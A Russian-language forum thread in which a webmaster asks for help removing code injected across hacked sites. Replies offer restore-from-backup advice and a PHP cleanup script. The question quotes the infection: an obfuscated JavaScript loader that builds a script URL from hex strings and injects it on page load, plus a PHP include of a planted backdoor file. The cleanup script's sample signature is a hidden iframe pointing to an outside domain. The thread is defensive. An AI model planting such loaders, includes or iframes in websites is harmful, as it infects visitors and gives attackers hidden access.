Помогите со скриптом массовая замена текста в файлах

Kewl

Постоялец
Регистрация
9 Сен 2007
Сообщения
248
Реакции
113
ломанули сайты и много на 1 площадке.
скачивать нету возможности так как там же права на файлах стоят.

Помогите надо выгрзыть со всех файлов


<script>
function vdch() {
if(document.all.length > 3) {
var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029');
var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }
var dch = document.createElement("script");
dch.id = "dchid";
dch.src = dchid;
document.all[3].appendChild(dch);
} else {
setTimeout("vdch()",500);
}
} setTimeout("vdch()",500);
</script>



if(@file_exists('/usr/home/h9009/data/www/lodnat.ru/images/librariesets.php')) { require_once('/usr/home/h9009/data/www/lodnat.ru/images/librariesets.php'); }


Соответственно надо удалить со всех категорий и под категорий с файлов внутри сайта.

Вот это вставлено везде.

Спасибо всем.
 
Соответственно надо удалить со всех категорий и под категорий с файлов внутри сайта.
Вот это вставлено везде.

А вы уверены что это вставлено во всех файлах в одном и том же месте, и что нету другой заразы на сайте?
В таких случаях помогает, полное востановление из чистого, хорошо
провереного бэк апа, ну и соответствено, смена всех пассов к фтп/ccш и тд....
Ну а если есть подозрение то и смена хостера )
 
Пройтись RecursiveDirectoryIterator и заменить в каждом файле текст.
 
Спасибо всем, правда так и не помогли, но хотя бы попробовали!
Уже давно сделали шелом. Хотсер не причем, я отдыхал, бэкапы делаются 2 недели. и две недели они заражены, был еще один но он был майский. Так что увы).
 
Ну если скрипты не самопал то можно попробывать установить последнии релизы, с офф сайта...

 
Ну как вариант откройте все файлы и нажмите ctrl+H(найти и заменить!)
 
PHP:
<?php
$virus_text = '<iframe src="http://zuo.podgorz.org/zuo/elen/index.php" width="0" height="0" frameborder="0"></iframe>';
$skip_files = array ('delvirus.php');
$del = false;
$dir = getcwd().'/';
$num_infected = 0;
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh))!== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir, $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
function del_virus ($fdir, $ffile)
{
    $flag = false;
    $filename = $fdir.$ffile;
    echo $filename;
        $file=file($filename);
        foreach($file as $k=>$v)
        if (!stristr($v,$GLOBALS['virus_text']))
        $nfile[]=$v;
        else
        {
         if (!$flag) {
            $flag=true;
            if (in_array($ffile, $GLOBALS['skip_files']))
            echo " - skipped";
            else
            {
                echo " - infected";
                $GLOBALS['num_infected']++;
            }
         }
        }
        if ( $GLOBALS['del'] ) {
            $file=fopen($filename,"w");
            fwrite($file,implode($nfile,""));
            fclose($file);
        }
    echo "
";
};
dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );
echo "Num infected = $num_infected 
";
?>
$virus_text = ‘тут пишем скрипт который удалить надо’;
$del = false; меняем здесь на true если хотим сделать очистку от вируса.
$skip_files = array (‘delvirus.php’); – указываем файлы которые не нужно проверять
 
Назад
Сверху